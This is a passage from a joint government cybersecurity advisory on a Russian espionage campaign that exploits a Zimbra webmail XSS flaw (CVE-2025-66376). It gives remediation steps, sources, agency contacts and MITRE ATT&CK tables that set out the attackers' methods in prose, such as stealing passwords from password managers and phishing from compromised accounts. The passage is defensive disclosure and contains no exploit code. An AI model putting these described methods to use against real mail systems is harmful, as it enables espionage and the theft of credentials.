<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
